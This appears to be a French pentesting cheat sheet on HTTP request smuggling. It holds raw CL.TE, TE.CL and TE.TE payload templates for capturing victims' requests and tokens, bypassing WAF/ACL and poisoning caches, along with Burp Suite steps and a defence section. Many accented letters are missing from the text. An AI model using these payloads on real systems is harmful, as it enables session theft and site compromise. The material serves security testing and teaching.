MDstable
NoteSnippetChecklistPlaybook

HTTP Request Smuggling

CL.TE, TE.CL, TE.TE — désynchronisation frontend/backend, cache poisoning, bypass WAF

snippetadvanced 2026-05-14 4 min read
http-smugglingcltetecldesyncburpsuitewaf-bypasspentest

Principe

Architecture cible
Client Frontend proxy/load-balancer Backend serveur applicatif
Lit Content-Length Lit Transfer-Encoding
Vulnrabilit frontend et backend dsaccords sur la limite dune requte HTTP/1.1
Un attaquant peut "empoisonner" la file de requtes backend
La queue de l'attaquant est lue comme début de la prochaine requête d'une victime

Types de désynchronisation

CLTE Frontend utilise Content-Length, Backend utilise Transfer-Encoding
TECL Frontend utilise Transfer-Encoding, Backend utilise Content-Length
TETE Les deux utilisent TE mais lun ignore les encodages obfusqus

CL.TE — Content-Length / Transfer-Encoding

http
Variables
{{TARGET}}
POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Explication
Frontend lit Content-Length: 13 envoie tout "0\r\n\r\nSMUGGLED" au backend
Backend lit Transfer-Encoding: chunked "0\r\n\r\n" fin du chunk fin de requte
"SMUGGLED" reste dans le buffer backend prfixe de la prochaine requte

Confirmation CL.TE (timing)

http
Variables
{{TARGET}}
POST / HTTP/1.1
Host: {{TARGET}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
Si dlai de dans la rponse Backend attend la fin du chunk "X"
CLTE confirm

TE.CL — Transfer-Encoding / Content-Length

http
Variables
{{TARGET}}
POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Explication
Frontend lit Transfer-Encoding "8\r\nSMUGGLED\r\n0\r\n\r\n" 2 chunks fin
Backend lit Content-Length: 3 lit seulement "8\r\n" et stoppe
"SMUGGLED\r\n0\r\n\r\n" reste prfixe de la prochaine requte victim

TE.TE — Obfuscation Transfer-Encoding

http
# Techniques d'obfuscation TE :
Transfer-Encoding: xchunked
Transfer-Encoding: chunked, x
Transfer-Encoding : chunked # espace avant les deux-points
Transfer-encoding: chunked # casse différente
X: X\r\nTransfer-Encoding: chunked # dans un header étendu

Burp Suite — Détection automatique

Extension Burp HTTP Request Smuggler James Kettle PortSwigger
1 Installer via BApp Store "HTTP Request Smuggler"
2 Clic droit sur une requte Extensions HTTP Request Smuggler Smuggle probe
3 Rsultats dans le panneau "Logger"
Manual via Repeater
Dsactiver "Update Content-Length" dans Repeater
Cocher "Allow HTTP/1 keep-alive requests"
Envoyer les payloads ci-dessus, observer dlai et erreurs

Exploitation — Capturer la requête d'une victime

http
Variables
{{TARGET}}
POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 130
Transfer-Encoding: chunked
0
POST /capture HTTP/1.1
Host: {{TARGET}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 800
body=
Mcanisme
1 Notre requte pousse "POST /capture ... body=" dans le buffer backend
2 La prochaine requte dune victime est ajoute aprs "body="
3 Le backend reoit une requte /capture avec le corps requte complte de la victime
4 Si /capture stocke le body ex champ profil commentaire on lit la requte de la victime
Headers cookies tokens de la victime exposs

Exploitation — Bypass WAF

http
Variables
{{TARGET}}
# Le WAF inspecte le frontend (body "normal")
# Le backend reçoit le payload malveillant comme continuation de requête
POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 49
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: {{TARGET}}
X: GARBAGE
Rsultat la prochaine victime envoie GET /homepage
Backend reoit GET /admin contenu de la requte victime bypass ACL

Exploitation — Cache Poisoning via Smuggling

http
Variables
{{TARGET}}
POST / HTTP/1.1
Host: {{TARGET}}
Content-Length: 59
Transfer-Encoding: chunked
0
GET /js/app.js HTTP/1.1
Host: {{TARGET}}
X-Foo: bar
Si le cache met en cache la rponse de /js/app.js avec notre contenu inject
Cache poisoning tous les visiteurs suivants reoivent le JS malveillant

Défense

nginx
# Nginx — désactiver la réutilisation des connexions backend (évite la désynchronisation)
proxy_http_version 1.1;
proxy_set_header Connection ""; # force le close après chaque requête
# Valider strictement le Content-Length
proxy_request_buffering on;
Mesures serveur
HTTP/2 uniquement frontendbackend pas de HTTP/1.1 pas de smuggling
Normaliser les requtes au frontend rejeter celles avec CL TE simultanment
Valider que CL longueur relle du body avant transfert
HAProxy Nginx rcents correction built-in si bien configurs
RFC 9112 HTTP/1.1
Si une requte contient CL ET TE TE a priorit CL doit tre ignor
Si un serveur reoit les deux il doit rejeter la requte 400 Bad Request
⚠ Attention —

HTTP Request Smuggling a un impact potentiel extrêmement élevé : capture de sessions d'autres utilisateurs, bypass de WAF/ACL, empoisonnement de cache en masse. La détection est difficile car l'attaque laisse peu de traces côté frontend. Tester systématiquement en présence d'un reverse proxy ou load-balancer HTTP/1.1.

OPS·BRAIN v1.075 notes · Securitylocal